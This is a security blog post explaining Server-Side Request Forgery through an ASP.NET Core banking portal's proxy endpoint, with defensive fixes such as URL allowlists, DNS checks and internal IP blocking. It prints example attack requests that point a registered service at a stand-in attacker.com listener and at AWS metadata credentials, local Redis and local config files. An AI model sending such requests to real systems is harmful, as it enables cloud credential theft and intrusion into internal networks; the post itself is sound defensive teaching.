Skip to content
All articles
Lessons From the Field#1Jul 4, 20268 min read

When Your Web App Becomes a Weapon: The Hidden Danger of Server-Side Request Forgery

An attacker can turn your web server into a proxy that makes requests on their behalf. Here's how SSRF works, how a real attack chain unfolds, and how to fix it.

Author: SokeBiz Reading time: ~8 minutes Series: Lessons From the Field #1


TL;DR

A Server-Side Request Forgery (SSRF) vulnerability lets an attacker turn your web server into a proxy that makes requests on their behalf. When your app has an internal proxy endpoint that forwards requests to user-controlled URLs, the attacker can pivot into your internal services, cloud metadata, and even run code on your server. This article shows how the vulnerability works, how a real attack chain unfolds, and exactly how to fix it.


The Hook

Imagine a customer service dashboard in your banking web app. A staff member types a service name into a search box, and the dashboard fetches data from the right backend service for them.

That sounds harmless, right?

But what if the search box accepts any URL in the world - including http://169.254.169.254/ (the AWS metadata service that hands out cloud credentials) or http://localhost:6379/ (your internal Redis instance that has no password)?

That's exactly what happened in an ASP.NET Core banking portal I reviewed. An attacker could type a URL into a "service endpoint" field, and the web server would politely make an outbound request to that URL on the attacker's behalf - passing internal credentials, exposing internal services, and acting as a stepping stone into the rest of the network.

This is Server-Side Request Forgery, and it is one of the most common critical vulnerabilities I find in production web applications.


Plain-English Explanation

Let's say your bank has a "dashboard proxy" - a feature where the admin portal talks to other internal services (like the payments service, the analytics service, the customer database) on behalf of the logged-in admin.

The dashboard proxy works like a phone operator from the 1950s. The admin says: "Connect me to the payments service." The operator (your web server) calls the payments service on the admin's behalf.

Now imagine the phone operator doesn't check who's calling. An attacker calls the operator and says: "Connect me to your bank vault." The operator, being dutiful, dials the vault's number from inside the bank - which the attacker, calling from outside, could never do directly.

In technical terms: your web server has a feature that fetches a URL. An attacker tricks it into fetching URLs it shouldn't - like internal services, cloud metadata endpoints, or attacker-controlled servers that return malicious responses.

Why this is dangerous

  • Your server has access your attacker doesn't. Internal services, cloud metadata, intranet sites - the web server can reach them; the attacker on the internet cannot.
  • SSRF turns "internal network" into "publicly accessible network." Every internal service the web server can reach is now reachable by the attacker, through your app.
  • It chains with other bugs. SSRF alone is bad. SSRF combined with a poorly-secured internal service, an unauthenticated endpoint, or hardcoded secrets becomes catastrophic.

How It Actually Works (Technical)

The vulnerable pattern

Here's a simplified version of the proxy endpoint that was at the root of the issue:

// DashboardServicesController.cs - VULNERABLE
[HttpPost("Merchant/{EndPoint}")]
public async Task<IActionResult> ProxyToMerchant(string EndPoint, [FromBody] Payload data)
{
// Look up the service by name
var serviceModel = _context.Services
.FirstOrDefault(c => c.EndPoint == EndPoint);

if (serviceModel == null) return NotFound();

// Forward the request to the service's BaseUrl
using var httpClient = new HttpClient
{
BaseAddress = new Uri(serviceModel.BaseUrl)
};

var response = await httpClient.GetAsync(EndPoint + "?MerchantId=" + data.MerchantId);
var content = await response.Content.ReadAsStringAsync();

return Ok(content);
}

What's wrong here?

Three things, each catastrophic on its own:

  1. EndPoint comes from the URL. The attacker controls this parameter. They can register a service with any name and point it anywhere.
  2. BaseUrl comes from the database with no validation. When a service is registered (we'll see how in a moment), the URL is stored as-is. http://attacker.com, http://localhost, http://169.254.169.254/ - all valid as far as the code is concerned.
  3. The server makes the request on the attacker's behalf. The HTTP call originates from the web server, not the attacker's browser. So the request appears to come from a trusted internal IP.

The attack chain

Here's what an attacker actually does with this:

Step 1: Register a malicious "service" pointing to their server:

POST /api/DashboardServices/RegisterService
{
"EndPoint": "exfil",
"BaseUrl": "http://attacker.com/listener",
"UserName": "svc",
"Password": "anything"
}

Step 2: Trigger the proxy:

POST /api/DashboardServices/Merchant/exfil
{
"MerchantId": "ping"
}

Step 3: The web server makes an outbound request to http://attacker.com/listener/exfil?MerchantId=ping. The attacker now knows:

  • The request came from the bank's web server IP (a trusted internal IP).
  • They can use this IP to bypass IP-based allow-lists on other internal services.
  • They can chain this with other vulnerabilities to pivot deeper.

Step 4: Point the BaseUrl at internal targets:

BaseUrl = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

This is the AWS instance metadata service. If the bank runs on AWS EC2, this URL returns temporary AWS credentials for the role the web server is using. The attacker now has cloud access.

BaseUrl = "http://localhost:6379/" // Redis with no auth
BaseUrl = "http://internal-admin.corp/" // Internal admin panel
BaseUrl = "file:///c:/inetpub/wwwroot/web.config" // Read local files (if scheme is allowed)

Each of these is a real pivot path that attackers use in the wild.


What It Looks Like in the Wild

Here's a real attack diagram, anonymized and recreated in our synthetic lab:

[ Attacker ] [ ACME Bank Portal ] [ Internal Network ]
| | |
| 1. POST /RegisterService | |
| BaseUrl = attacker.com | |
|------------------------------->| |
| | |
| 2. POST /Merchant/exfil | |
|------------------------------->| |
| | 3. GET attacker.com/listener |
| |--------------------------------->|
| 4. Receive ping | |
|<-------------------------------| |
| | |
| 5. POST /RegisterService | |
| BaseUrl = 169.254.169.254 | |
|------------------------------->| |
| | 6. GET AWS metadata |
| |--------------------------------->|
| | 7. Return AWS temporary creds |
|<-------------------------------| |
| | |
| 8. Use AWS creds to access S3 buckets, internal services |
|----------------------------------------------------------------->|

This is the chain that led to a full compromise in the engagement this article is based on. The attacker used SSRF to pivot to a sibling internal application, which had an unauthenticated PowerShell execution endpoint, and from there dropped webshells. The root cause was the SSRF vulnerability you just read about.


How to Protect Yourself / Your Users

Here's the actionable checklist, in priority order:

1. Never let the URL be user-controlled

The single biggest defense. If your proxy endpoint accepts a URL from the user, the URL is the vulnerability. Either:

  • Use a fixed lookup table (admin picks from a dropdown of approved services)
  • Use a service ID, not a URL, and look up the URL server-side from a vetted registry

2. Validate URLs against an allowlist

If you absolutely must accept URLs, validate them:

// DashboardServicesController.cs - FIXED
private static readonly HashSet<string> _allowedSchemes = new() { "https" };
private static readonly Regex _allowedHostPattern =
new(@"^([a-z0-9\-]+\.)*acmebank\.example\.com$", RegexOptions.IgnoreCase);

private bool IsUrlSafe(string url)
{
if (!Uri.TryCreate(url, UriKind.Absolute, out var uri))
return false;

if (!_allowedSchemes.Contains(uri.Scheme))
return false;

if (!_allowedHostPattern.IsMatch(uri.Host))
return false;

// Block IP literals (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x)
if (IPAddress.TryParse(uri.Host, out _))
return false;

return true;
}

3. Resolve DNS once and compare

URL validation isn't enough. An attacker can register attacker-acmebank.example.com.attacker.com and have DNS resolve it to attacker.com. To prevent DNS rebinding:

// Resolve the host yourself, then check the resolved IP against your deny list
var addresses = await Dns.GetHostAddressesAsync(uri.Host);
foreach (var addr in addresses)
{
if (IsInternalIp(addr))
throw new InvalidOperationException("Internal IP not allowed");
}
// Then make the request using the IP, with the Host header set explicitly

4. Block internal IP ranges

Even with allowlists, explicitly block:

  • 127.0.0.0/8 (loopback)
  • 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (private)
  • 169.254.0.0/16 (link-local / AWS metadata)
  • ::1/128, fc00::/7 (IPv6 equivalents)
  • Your own corporate IP ranges

5. Run the proxy as a low-privilege service

Defense in depth. Even if SSRF is exploited, the proxy process should have no AWS credentials, no access to internal databases, no write access to the filesystem.

6. Log every proxy call

If an attacker is using SSRF, you need to see it:

  • Destination URL
  • Source user/IP
  • Response status code
  • Bytes transferred

Alert on suspicious destinations (cloud metadata IPs, internal hostnames, unfamiliar external domains).

7. Remove the proxy if you don't need it

The cleanest fix is the smallest fix. If the proxy feature exists for one internal use case that you can replace with a direct service-to-service call, delete the endpoint entirely. Every line of code is an attack surface.


Resources & References


Found this useful? Subscribe for the next article in the series, where I show how an unauthenticated registration endpoint turned a contained SSRF into a full compromise - and the one-line fix that prevents it.

continue reading

Follow on,LinkedIn OR GitHub